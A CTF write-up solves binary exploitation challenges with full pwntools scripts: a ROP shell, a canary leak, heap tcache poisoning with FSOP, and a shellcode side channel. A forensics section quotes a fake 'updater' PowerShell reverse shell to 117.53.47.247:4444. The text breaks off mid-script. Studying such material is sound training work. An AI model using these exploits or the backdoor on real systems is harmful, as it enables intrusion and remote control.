Cyber Breaker Development Quals

Challenge
Category
Points
Solves

Starting Point

Binary Exploitation

820 pts

16

Teletype

Binary Exploitation

930 pts

5

Baby Heap

Binary Exploitation

950 pts

4

Baby Shellcode

Binary Exploitation

980 pts

2

Stolen Data

Digital Forensic

480 pts

45

Hidden Sight

Digital Forensic

490 pts

41

Starting Point

Description

Here's an easy challenge to kick off your Independence Day. Made for beginner.

Author: Wzrd

ncat --ssl starting-point.serv1.cbd2025.cloud 443

Solution

given a binary, with little to no protection

$ file starting-point 
starting-point: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6f92b3e8d366c02dbf86fd8a7b93690b812d079a, for GNU/Linux 3.2.0, with debug_info, not stripped
$ pwn checksec starting-point 
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes

running the binary will prompts us with a few options

$ ./starting-point 
███╗   ██╗ ██████╗ ████████╗███████╗    ███╗   ███╗ █████╗ ███╗   ██╗ █████╗  ██████╗ ███████╗██████╗
████╗  ██║██╔═══██╗╚══██╔══╝██╔════╝    ████╗ ████║██╔══██╗████╗  ██║██╔══██╗██╔════╝ ██╔════╝██╔══██╗
██╔██╗ ██║██║   ██║   ██║   █████╗      ██╔████╔██║███████║██╔██╗ ██║███████║██║  ███╗█████╗  ██████╔╝
██║╚██╗██║██║   ██║   ██║   ██╔══╝      ██║╚██╔╝██║██╔══██║██║╚██╗██║██╔══██║██║   ██║██╔══╝  ██╔══██╗
██║ ╚████║╚██████╔╝   ██║   ███████╗    ██║ ╚═╝ ██║██║  ██║██║ ╚████║██║  ██║╚██████╔╝███████╗██║  ██║
╚═╝  ╚═══╝ ╚═════╝    ╚═╝   ╚══════╝    ╚═╝     ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝  ╚═╝ ╚═════╝ ╚══════╝╚═╝  ╚═╝

1. Create
2. View
3. List
4. Admin
5. Exit
>

however, none of them are really important. the only relevant path is option 4 Admin. decompiling the function handler we can see an obvious buffer overflow

void admin_edit_note(void)
{
  int iVar1;
  int local_1c;
  char local_18 [16];
  
  printf("Password: ");
  read(0,local_18,0x100);
  iVar1 = strcmp(local_18,password);
  if (iVar1 == 0) {
    printf("Index: ");
    __isoc99_scanf("%d",&local_1c);
    getchar();
    if ((local_1c < 0) || (4 < local_1c)) {
      puts("Invalid");
    }
    else {
      printf("Content: ");
      fgets(notes + (long)local_1c * 0xa4 + 0x20,0x80,stdin);
      puts("Updated");
    }
  }
  else {
    puts("Invalid");
  }
  return;
}

the program reads up to 0x100 bytes of data to local_18 of size 0x10. since the binary has no PIE and canary, we can immediately overwrite the saved return address and perform ROP. luckily the binary also provided a ton of gadgets as seen below

                             *************************************************************
                             *                           FUNCTION                          
                             *************************************************************
                             undefined  ggt ()
             undefined         AL:1           <RETURN>
                             ggt                                             XREF[3]:     Entry Point (*) , 00402744 , 
                                                                                          00402838 (*)   
        00401351 f3  0f  1e  fa    ENDBR64
        00401355 55              PUSH       RBP
        00401356 48  89  e5       MOV        RBP ,RSP
                             pop_rdi
        00401359 5f              POP        RDI
        0040135a c3              RET
                             pop_rsi
        0040135b 5e              POP        RSI
        0040135c c3              RET
                             pop_rdx
        0040135d 5a              POP        RDX
        0040135e c3              RET
                             pop_rax
        0040135f 58              POP        RAX
        00401360 c3              RET
                             pop_rdx_rbx
        00401361 5a              POP        RDX
        00401362 5b              POP        RBX
        00401363 c3              RET
                             syscall_gadget
        00401364 0f  05           SYSCALL
        00401366 c3              RET
                             leave_gadget
        00401367 c9              LEAVE
        00401368 c3              RET
                             ret_gadget
        00401369 c3              RET

with this its really easy to perform a execve syscall to spawn a shell. the plan to successfully exploit the challenge are as follows:

  1. we perform ROP to overwrite RBP and stack pivot to BSS and call back to admin_edit_note

  2. since our RBP is now at a predictable address (BSS), the subsequent read call will be stored there and we can write the string '/bin/sh' later used as argument to the execve call

  3. finally, the final ROP to call execve syscall and spawn a shell

below are the exploit implementation

exploit.py
#!/usr/bin/env python3
from pwn import *

# =========================================================
#                          SETUP                         
# =========================================================
exe = './starting-point'
elf = context.binary = ELF(exe, checksec=True)
# libc = './libc.so.6'
# libc = ELF(libc, checksec=False)
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h", "-l", "175"]
host, port = 'starting-point.serv1.cbd2025.cloud', 443

def initialize(argv=[]):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript)
    elif args.REMOTE:
        return remote(host, port, ssl=True)
    else:
        return process([exe] + argv)

gdbscript = '''
init-pwndbg

# break *0x401838
break *0x40190d
'''.format(**locals())

# =========================================================
#                         EXPLOITS
# =========================================================
def exploit():
    global io
    io = initialize()

    rop = ROP(elf)
    pop_rdi = 0x0000000000401359
    pop_rax = 0x000000000040135f
    pop_rsi = 0x000000000040135b
    pop_rdx = 0x000000000040135d
    syscall = 0x0000000000401364

    payload = flat({
        16: [
            elf.bss()+0x100,
            0x4017fd
        ]
    })
    io.sendlineafter(b'>', b'4')
    io.sendlineafter(b':', payload)

    payload = flat({
        16: [
            u64(b'/bin/sh\x00'),
            pop_rdi,
            0x4041f0+16,
            pop_rax,
            0x3b,
            pop_rdx,
            0x0,
            pop_rsi,
            0x0,
            syscall,
        ]
    })
    io.sendlineafter(b':', payload)

    io.interactive()
    
if __name__ == '__main__':
    exploit()

Teletype

Description

The bird sings, the loop brings

Author: Ooflamp

ncat --ssl teletype.serv1.cbd2025.cloud 443

Solution

given a binary, below are the related information

$ file teletype 
teletype: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=055263d1859a9b3d1b6661aa4713a4f03ce58add, for GNU/Linux 3.2.0, with debug_info, not stripped
$ pwn checksec teletype 
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes

running the binary will prompts us with a few options

$ ./teletype 
*** BOOTING FIELD OPERATIONS TERMINAL ***
Unit ID: 7F — 5th Panzer Army
Network Status: Disconnected from HQ Relay Station
Date: 14/06/1943
--------------------------------------------------
Welcome, Operator. Maintain operational secrecy.
--------------------------------------------------

[1] Enter New Report
[2] Review Last Report
[3] Edit Last Report
[4] Authenticate Priority Access
[5] Exit Terminal
>

after decompiling program, here's are some interesting findings.

first, the third option (Edit) has a buffer overflow due to scanf call using the %s format specifier which will read without bounds check.

void edit_last_report(long param_1,int param_2)
{
  long lVar1;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  if (param_2 < 1) {
    puts("There\'s no document on queue.");
  }
  else {
    printf("\nEnter document number\n> ");
    __isoc99_scanf("%d",param_1 + (long)(param_2 + -1) * 0x2c);
    printf("Enter document content\n> ");
    __isoc99_scanf("%s",param_1 + (long)(param_2 + -1) * 0x2c + 4);
    printf("Document amended, waiting for online access.");
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

note that the overflow itself is in the main function since the handler takes a stack pointer a variable in main as shown below.

undefined8 main(EVP_PKEY_CTX *param_1)
{
  long in_FS_OFFSET;
  undefined local_1c8 [440];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  init(param_1);
  teletype_print(boot_screen,7,0x14);
  do {
    choice = menu();
    switch(choice) {
    case 1:
      write_report(local_1c8,&document_count);
      break;
    case 2:
      retrieve_last_report(local_1c8,document_count);
      break;
    case 3:
      edit_last_report(local_1c8,document_count);
      break;
    case 4:
      authenticate_priority_access();
      break;
    case 5:
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return 0;
    }
  } while( true );
}

the next step might seem obvious is to perform ROP, however there's a stack canary. so we need to a way to somehow bypass to leak the canary value.

to leak the canary, what we can do is allocate/write a report to consume all of the stack up until the the canary value. then we can overwrite the last byte of canary (which is always going to be null). this won't trigger the stack smashing panic as the overwritten canary belongs to the main stack frame and we never return from it yet.

next we chose the second option to print the last written report which conveniently located at the canary and thus we're able to leak it.

as we have leaked the canary, next we can overwrite the saved return address to our win function

void retrieve_priority_log(void)
{
  long lVar1;
  int __c;
  FILE *__stream;
  long in_FS_OFFSET;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
    fwrite("Cannot open flag.txt",1,0x14,stderr);
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  while( true ) {
    __c = fgetc(__stream);
    if (__c == -1) break;
    putchar(__c);
  }
  fclose(__stream);
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

to recap:

  1. fill up the reports up until the canary and overwrite the last byte of the canary

  2. read the last report which leaks the canary

  3. exploit the buffer overflow to ROP and profit

below are the exploit script

exploit.py
#!/usr/bin/env python3
from pwn import *

# =========================================================
#                          SETUP                         
# =========================================================
exe = './teletype'
elf = context.binary = ELF(exe, checksec=True)
# libc = './libc.so.6'
# libc = ELF(libc, checksec=False)
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h", "-l", "175"]
host, port = 'teletype.serv1.cbd2025.cloud', 443

def initialize(argv=[]):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript)
    elif args.REMOTE:
        return remote(host, port, ssl=True)
    else:
        return process([exe] + argv)

gdbscript = '''
init-pwndbg

break *0x401b64

c
'''.format(**locals())

# =========================================================
#                         EXPLOITS
# =========================================================
def exploit():
    global io
    canary = 0x0
    io = initialize()

    for i in range(20):
        io.sendlineafter(b'>', b'1')
        io.sendlineafter(b'>', b'26')
        io.sendafter(b'>', b'A'*0x28+b'B')
    io.sendline(b'')

    io.sendlineafter(b'>', b'2')
    io.recvuntil(b'AB')
    leak = io.recvline()
    print(leak)
    canary = b'\x00'+leak[:7]
    canary = u64(canary.ljust(8, b'\x00'))

    payload = flat({
        40: [
            canary,
            elf.bss()+0x100,
            elf.sym['retrieve_priority_log']
        ]
    })

    io.sendlineafter(b'>', b'3')
    io.sendlineafter(b'>', payload)
    io.sendlineafter(b'>', b'5')

    log.info("canary: %#x", canary)
    io.interactive()
    
if __name__ == '__main__':
    exploit()

Baby Heap

Description

Rijal said, this supposed to be a speedrun chall.

Author: Morre

ncat --ssl baby-heap.serv1.cbd2025.cloud 443

Solution

given a binary and a dockerfile, below are some information regarding the binary

$ file baby-heap 
baby-heap: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=be428b1469137441c854f168bff4007644a9f8e5, for GNU/Linux 3.2.0, not stripped
$ pwn checksec baby-heap 
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

as the name suggest, as we run the binary we can see the CRUD interface common in heap style pwn challenges

$ ./baby-heap 
╔═══════════════════════════════════════╗
║          Baby Heap Challenge          ║
╚═══════════════════════════════════════╝
   [1] - Create note
   [2] - Read note
   [3] - Update note
   [4] - Delete note
   [5] - Exit
Choose an option:

after decompilation, notable things are as follows

in allocation, the size are controllable by the player with the maximum size of 0x100

void create_note(void)
{
  int iVar1;
  char *pcVar2;
  long in_FS_OFFSET;
  ulong local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  iVar1 = get_valid_index();
  if (iVar1 != -1) {
    if (notes[iVar1].used == 0) {
      printf("Enter note size (max %d): ",0x100);
      __isoc99_scanf("%zu",&local_18);
      getchar();
      if (local_18 < 0x101) {
        pcVar2 = (char *)malloc(local_18);
        notes[iVar1].ptr = pcVar2;
        notes[iVar1].size = local_18;
        notes[iVar1].used = 1;
        if (notes[iVar1].ptr == (char *)0x0) {
          puts("Failed to allocate memory!");
        }
        else {
          printf("Enter note content: ");
          read(0,notes[iVar1].ptr,local_18);
          puts("Note created successfully!");
        }
      }
      else {
        puts("Size too large!");
      }
    }
    else {
      puts("Note already exists!");
    }
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

in delete note, the chunk is freed however the pointer is not nullified, the program sets a flag to mark that the notes at that index is no longer used.

void delete_note(void)
{
  int iVar1;
  
  iVar1 = get_valid_index();
  if (iVar1 != -1) {
    if (notes[iVar1].ptr == (char *)0x0) {
      puts("Note doesn\'t exist!");
    }
    else {
      free(notes[iVar1].ptr);
      notes[iVar1].used = 0;
      puts("Note deleted successfully!");
    }
  }
  return;
}

however, as can be seen below, in read and edit note, there's no check of said flag, making use of the dangling pointer resulting in an Use After Free.

void read_note(void)
{
  uint uVar1;
  
  uVar1 = get_valid_index();
  if (uVar1 != 0xffffffff) {
    if (notes[(int)uVar1].ptr == (char *)0x0) {
      puts("Note doesn\'t exist!");
    }
    else {
      printf("Note %d: %s\n",(ulong)uVar1,notes[(int)uVar1].ptr);
    }
  }
  return;
}

void update_note(void)
{
  int iVar1;
  
  iVar1 = get_valid_index();
  if (iVar1 != -1) {
    if (notes[iVar1].ptr == (char *)0x0) {
      puts("Note doesn\'t exist!");
    }
    else {
      printf("Enter new content: ");
      read(0,notes[iVar1].ptr,notes[iVar1].size);
      puts("Note updated successfully!");
    }
  }
  return;
}

the plan to exploit this challenge are as the following:

  1. allocate 9 same-sized chunk with size larger than fastbin to be allocated

  2. free 8 of those chunks, 7 to fill the tcache to its max capacity and 1 will be inserted into the unsorted bin, leaking libc address

  3. perform a tcache poisoning to arbitrary allocate to _IO_2_1_stdin achieving arbitrary write

  4. corrupt _IO_2_1_stdin to gain huge arbitrary write through stdin to corrupt _IO_2_1_stdout to gain RCE using FSOP

  5. profit

More details can be inspected by analysing the exploit code below:

exploit.c
#!/usr/bin/env python3
from pwn import *

# =========================================================
#                          SETUP                         
# =========================================================
exe = './baby-heap'
elf = context.binary = ELF(exe, checksec=True)
libc = '/lib/x86_64-linux-gnu/libc.so.6'
libc = './libc.so.6'
libc = ELF(libc, checksec=False)
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h", "-l", "175"]
host, port = 'baby-heap.serv1.cbd2025.cloud', 443

def initialize(argv=[]):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript)
    elif args.REMOTE:
        return remote(host, port, ssl=True)
    else:
        return process([exe] + argv)

gdbscript = '''
init-pwndbg

c
'''.format(**locals())

# =========================================================
#                         EXPLOITS
# =========================================================
def alloc(idx, size, data):
    io.sendlineafter(b':', b'1')
    io.sendlineafter(b':', str(idx).encode())
    io.sendlineafter(b':', str(size).encode())
    io.sendafter(b':', data)

def view(idx):
    io.sendlineafter(b':', b'2')
    io.sendlineafter(b':', str(idx).encode())

def edit(idx, data):
    io.sendlineafter(b':', b'3')
    io.sendlineafter(b':', str(idx).encode())
    io.sendafter(b':', data)

def free(idx):
    io.sendlineafter(b':', b'4')
    io.sendlineafter(b':', str(idx).encode())

def demangle(val):
    mask = 0xfff << 52
    while mask:
        v = val & mask
        val ^= (v >> 12)
        mask >>= 12
    return val

def mangle(heap_addr, val):
    return (heap_addr >> 12) ^ val

def exploit():
    global io
    heap = 0x0
    io = initialize()

    for i in range(8):
        alloc(i, 0x100, b'A')
    alloc(8, 0x10, b'guard')
    for i in range(8):
        free(i)
    view(7)

    io.recvuntil(b'Note')
    io.recvuntil(b': ')
    libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 0x203b20
    stdout = libc.sym['_IO_2_1_stdout_']
    stdin = libc.sym['_IO_2_1_stdin_']

    view(6)
    io.recvuntil(b'Note')
    io.recvuntil(b': ')
    heap = demangle(u64(io.recv(6).ljust(8, b'\x00'))) - 0x7f0

    for i in range(3):
        alloc(i, 0x20, b'B')
    alloc(3, 0x10, b'guard')
    for i in range(3):
        free(i)

    edit(2, p64(mangle(heap, stdin+0x30)))

    fp = stdout
    # crafting overlapping IO_FILE, wide_data and wide_vtable
    overlap = b'  sh\x00\x00\x00\x00' # [FILE] _flags | [WIDE DATA] read_ptr
    overlap += flat([
        p64(0x0),               # [WIDE DATA] read_end
        p64(0x0),               # [WIDE DATA] read_base
        p64(0x0),               # [WIDE DATA] write_base
        p64(0x0),               # [WIDE DATA] write_ptr
        p64(0x0),               # [WIDE DATA] write_end
        p64(0x0),               # [WIDE DATA] buf_base
        p64(0x0),               # [WIDE DATA] buf_end 
        p64(0x0),               # [WIDE DATA] save_base
        p64(0x0),               # [WIDE DATA] backup_base 
        p64(0x0),               # [WIDE DATA] save_end
    ])
    overlap += b'\x00' * 8       # [WIDE DATA] state
    overlap += b'\x00' * 8       # [WIDE DATA] last_state

    codecvt = b''
    codecvt += p64(libc.sym['system'])     # [FILE] _chain | [WIDE DATA] codecvt | [VTABLE] __doallocate (at function authenticate, skips the puts because we overwrote stdout)
    codecvt += b'\x00' * 0x18                   # padding
    codecvt += p64(fp - 0x10)                   # [FILE] _lock
    codecvt += p64(0x0) * 2                     # padding
    codecvt += p64(fp+0x8)                      # [FILE] _wide_data
    codecvt += b'\x00' * (0x18 + 4 + 20)        # padding
    codecvt += p64(libc.sym['_IO_wfile_jumps']) # [FILE] vtable
    codecvt += b'\x00' * (0x70 - len(codecvt))  # padding
    
    overlap += codecvt
    overlap += p64(0x0)                         # [WIDE DATA] wchar_t shortbuf[1] (alligned to 8 bytes)
    overlap += p64(fp)                          # [WIDE DATA] vtable

    alloc(0, 0x20, b'C')
    alloc(1, 0x20, flat([
        stdout,
        stdout,
        stdout+0x300,
    ]))

    io.sendline(overlap)

    log.info("libc base; %#x", libc.address)
    log.info("heap base: %#x", heap)
    log.info("stdin: %#x", stdin)
    io.interactive()
    
if __name__ == '__main__':
    exploit()

Baby Shellcode

Description

Time is money, isn't?

Author: Morre

ncat --ssl baby-shellcode.serv1.cbd2025.cloud 443 baby-shellcode

Solution

given a binary, here's some information regarding it

$ file baby-shellcode 
baby-shellcode: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f45a0aad7ad030301345876a1da46772047312a5, for GNU/Linux 3.2.0, not stripped
$ pwn checksec baby-shellcode 
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

as the challenge name suggest, after running the binary, it prompts for an shellcode input

$ ./baby-shellcode 
Enter code (max 1024 bytes):

next, decompile the binary to understand a bit more how the binary processes the shellcode. there's nothing interesting in main other than a call to emulate at then of the function.

undefined8 main(void)
{
  void *__buf;
  
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  __buf = malloc(0x400);
  printf("Enter code (max %u bytes): ",0x400);
  read(0,__buf,0x400);
  emulate(__buf);
  return 0;
}

in emulate, we can see that our shellcode is not executed as raw instructions. in this emulate function, the binary does the following

  1. first it initializes the unicorn emulator object using uc_open

  2. then using uc_mem_map it creates a memory mapping of size at a fixed address with RWX permission.

  3. next it copies our shellcode to the emulated memory using uc_mem_write

  4. and here's the important part, the emulator register a hook using uc_hook_add, which will look at later

  5. then it starts the emulation

void emulate(undefined8 param_1)
{
  int iVar1;
  long in_FS_OFFSET;
  undefined8 local_20;
  undefined local_18 [8];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  iVar1 = uc_open(4,8,&local_20);
  if (iVar1 == 0) {
    uc_mem_map(local_20,0x13370000,0x200000,7);
    iVar1 = uc_mem_write(local_20,0x13370000,param_1,0x400);
    if (iVar1 == 0) {
      uc_hook_add(local_20,local_18,2,hookers,0,1,0,699);
      uc_emu_start(local_20,0x13370000,0x13370400,0,0);
      uc_close(local_20);
    }
  }
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

the unicorn hook basically a handler function for any instruction calls for syscall, trap etc. and as can be seen below, the challenge only implemented two syscall of NR 0 and NR 1.

void hookers(undefined8 param_1)
{
  long in_FS_OFFSET;
  long local_20;
  long local_18;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  uc_reg_read(param_1,0x23,&local_20);
  uc_reg_read(param_1,0x27,&local_18);
  if (local_20 == 0) {
    uc_reg_write(param_1,2,"FLAG_12_CHAR" + local_18);
  }
  else if (local_20 == 1) {
    puts("not implemented yet :(");
  }
  else {
    uc_emu_stop(param_1);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

first, it reads the register RAX (0x23) and RDI (0x23), RAX as we all know will dictate which syscall it calls. in this case RAX of 0x0 will write the flag character at an offset to the register AL (2).

these enums/values for the register can be figured out by looking at the header files for unicorn linked below or just throw it at chatGPT and let it tell you if not hallucinated.

RAX of 0x1 will displays the string "not implemented yet :(" and any other RAX will simply terminate the emulation.

with this in mind, we know we can somehow read the character of the flag bit by bit into memory but have no ways to print it into stdout. to solve this, we will perform side channel attack.

basically, we will try and guess the character at a certain offset. take a look at the following shellcode

BITS 64
DEFAULT REL
section .text
global _start

_start:
    mov     rdi, {idx}         
    xor     rax, rax          
    syscall                   

    cmp     al, byte {chr}   
    jne     .wrong

.correct:
    mov rax, 1
    syscall

.wrong:
    mov     rax, 2
    syscall

in our python script, we will initiate a connection to the binary and replace the idx and chr to the character we wanted to guess at the index of the flag. if the comparison (i.e. the byte matches) it will call correct which will prints a string else it will terminate.

with that we can observe the different behaviour from the binary and determine whether the character guessed at a certain index was correct or not.

this will be looped for first index until the last 12th index.

below are the implementation for said solution

#!/usr/bin/env python3
from pwn import *
from subprocess import run
import string

# =========================================================
#                          SETUP                         
# =========================================================
exe = './baby-shellcode'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'warning'
context.terminal = ["tmux", "splitw", "-h", "-l", "175"]
host, port = 'baby-shellcode.serv1.cbd2025.cloud', 443

def initialize(argv=[]):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return process([exe] + argv)

gdbscript = '''
init-pwndbg

break *hookers
# breakrva 0x14be
breakrva 0x13ee

c
'''.format(**locals())

# =========================================================
#                         EXPLOITS
# =========================================================
CANDS = [ord(c) for c in (string.ascii_letters + string.digits + "_")]
N = 12
CONNECT_TIMEOUT = 4
RECV_TIMEOUT = 2

def make_asm(idx:int, guess:int, fname='probe.s'):
    asm = f"""BITS 64
DEFAULT REL
section .text
global _start

_start:
    mov     rdi, {idx}
    xor     rax, rax
    syscall

    cmp     al, byte {guess}
    jne     .wrong

.correct:
    mov rax, 1
    syscall

.wrong:
    mov     rax, 2
    syscall
"""
    with open(fname, 'wb') as f:
        f.write(asm.encode())
    return fname

def assemble(asmfile, outbin):
    try:
        run(['nasm', '-f', 'bin', asmfile, '-o', outbin], check=True)
    except ChildProcessError as e:
        log.error(f"nasm failed: {e}")
        raise

def test_probe(shellcode_bytes):
    io = None
    try:
        io = initialize()
        io.sendlineafter(b':', shellcode_bytes, timeout=CONNECT_TIMEOUT)
        try:
            data = io.recvall(timeout=RECV_TIMEOUT)
            if b'not implemented' in data:
                return True
            return False
        except EOFError:
            return False
        except TimeoutError:
            return True
        except Exception as e:
            log.warning(f"recv exception: {e!r}")
            return False
    except Exception as e:
        log.warning(f"connection failed: {e!r}")
        return False
    finally:
        if io:
            try:
                # pause()
                io.close()
            except Exception:
                pass

def exploit():
    flag = bytearray(b'?' * N)
    tmp_asm = 'probe.s'
    tmp_bin = 'probe.bin'

    for idx in range(N):
        log.warning(f"Bruteforcing idx {idx}...")
        found = False
        for ch in CANDS:
            log.warning(f'Trying {chr(ch)}')
            # build asm & assemble
            make_asm(idx, ch, fname=tmp_asm)
            assemble(tmp_asm, tmp_bin)
            shellcode = open(tmp_bin, 'rb').read()

            ok = test_probe(shellcode)
            if ok:
                log.warning(f"Found idx {idx}: 0x{ch:02x} ('{chr(ch)}')")
                flag[idx] = ch
                found = True
                try:
                    os.remove(tmp_asm)
                    os.remove(tmp_bin)
                except Exception:
                    pass
                break
            else:
                pass

        if not found:
            log.warning(f"No printable candidate found for index {idx}. You may need to expand CANDS.")
        else:
            time.sleep(0.2)

        try:
            printable = ''.join(chr(b) if 0x20 <= b <= 0x7e else '?' for b in flag)
            log.warning(f"Partial: {printable}")
        except Exception:
            pass

    log.success("Done. Final flag guess: " + ''.join(chr(b) if b != 63 else '?' for b in flag))

if __name__ == '__main__':
    exploit()

Stolen Data

Description

During routine monitoring, unusual network activity was observed. A capture of the traffic was saved for analysis to determine what data may have been exfiltrated.

Author: bl33dz

Solution

given a network-log.pcapng, we start by loading it to wireshark

in one of the captured request, there's one request that stands our as different, that is a call to download updater.exe

in the response we can see PE header of the downloaded binary

scrolling a bit further below, there's seems to be seemingly a php script within updater.exe

$server = "117.53.47.247"
$port = 4444
$sharedHex = "9f4c8b2e6a7f1d3b9ab2c4d5e6f70812a1b2c3d4e5f60718293a4b5c6d7e8f90"

function HexToBytes {
    param([string]$hex)
    if ($hex.Length % 2 -ne 0) { throw "Hex string length must be even" }
    $count = $hex.Length / 2
    $bytes = New-Object byte[] $count
    for ($i = 0; $i -lt $count; $i++) {
        $bytes[$i] = [Convert]::ToByte($hex.Substring($i*2,2), 16)
    }
    return $bytes
}

$secret = HexToBytes $sharedHex
$aesKey = $secret[0..15]
$hmacKey = $secret[16..($secret.Length - 1)]

function Encrypt-Message {
    param([string]$plaintext)
    $plainBytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
    $block = 16
    $pad = $block - ($plainBytes.Length % $block)
    if ($pad -eq 0) { $pad = $block }
    $padded = New-Object byte[] ($plainBytes.Length + $pad)
    [Array]::Copy($plainBytes, 0, $padded, 0, $plainBytes.Length)
    for ($i = $plainBytes.Length; $i -lt $padded.Length; $i++) { $padded[$i] = [byte]$pad }
    $iv = New-Object byte[] 16
    $rng = New-Object System.Security.Cryptography.RNGCryptoServiceProvider
    $rng.GetBytes($iv)
    $rng.Dispose()
    $aes = New-Object System.Security.Cryptography.AesManaged
    $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aes.Padding = [System.Security.Cryptography.PaddingMode]::None
    $aes.Key = [byte[]]$aesKey
    $aes.IV = [byte[]]$iv
    $encryptor = $aes.CreateEncryptor()
    $ct = $encryptor.TransformFinalBlock($padded, 0, $padded.Length)
    $encryptor.Dispose()
    $aes.Dispose()
    $hmac = [System.Security.Cryptography.HMACSHA256]::new([byte[]]$hmacKey)
    $mac = $hmac.ComputeHash( ($iv + $ct) )
    $hmac.Dispose()
    $blob = ($iv + $ct + $mac)
    return [System.Convert]::ToBase64String($blob)
}

function Decrypt-Message {
    param([string]$b64)
    $blob = [System.Convert]::FromBase64String($b64)
    $iv = $blob[0..15]
    $tag = $blob[($blob.Length - 32)..($blob.Length - 1)]
    $ct = $blob[16..($blob.Length - 33)]
    $hmac = [System.Security.Cryptography.HMACSHA256]::new([byte[]]$hmacKey)
    $calc = $hmac.ComputeHash( ($iv + $ct) )
    $hmac.Dispose()
    if ([System.Convert]::ToBase64String($calc) -ne [System.Convert]::ToBase64String($tag)) { throw "HMAC failed" }
    $aes = New-Object System.Security.Cryptography.AesManaged
    $aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aes.Padding = [System.Security.Cryptography.PaddingMode]::None
    $aes.Key = [byte[]]$aesKey
    $aes.IV = [byte[]]$iv
    $decryptor = $aes.CreateDecryptor()
    $padded = $decryptor.TransformFinalBlock($ct, 0, $ct.Length)
    $decryptor.Dispose()
    $aes.Dispose()
    $padLen = $padded[$padded.Length - 1]
    $plainLen = $padded.Length - $padLen
    if ($plainLen -le 0) { return "" }
    $plain = New-Object byte[] $plainLen
    [Array]::Copy($padded, 0, $plain, 0, $plainLen)
    return [System.Text.Encoding]::UTF8.GetString($plain)
}

Write-Host "Checking for updates..." -ForegroundColor Yellow
Start-Sleep -Seconds 2
Write-Host "Downloading update definitions..." -ForegroundColor Yellow
Start-Sleep -Seconds 2
Write-Host "Installing updates..." -ForegroundColor Yellow
Start-Sleep -Seconds 2

try {
    $client = New-Object System.Net.Sockets.TcpClient($server, $port)
    $stream = $client.GetStream()
    $writer = New-Object System.IO.StreamWriter($stream)
    $reader = New-Object System.IO.StreamReader($stream)
    $writer.AutoFlush = $true
    while ($true) {
        $line = $reader.ReadLine()
        if ([string]::IsNullOrEmpty($line)) {
            break
        }
        try { $cmd = Decrypt-Message $line } catch { continue }
        if ($cmd -eq "exit" -or $cmd -eq "quit") { break }
        try { $out = Invoke-Expression $cmd | Out-String } catch { $out = "Error: $($_.Exception.Message)" }
        if ($out -eq "") { $out = "<no output>" }
        $enc = Encrypt-Message $out
        $writer.WriteLine($enc)
    }
    $writer.Close()
    $reader.Close()
    $client.Close()
} catch {}

the code suggest it made a connection to 117.53.47.247 port 4444, the communication between them is encrypted but since everything is also there, we can easily decrypt the messages. using the following script

import base64, hmac, hashlib
from Crypto.Cipher import AES

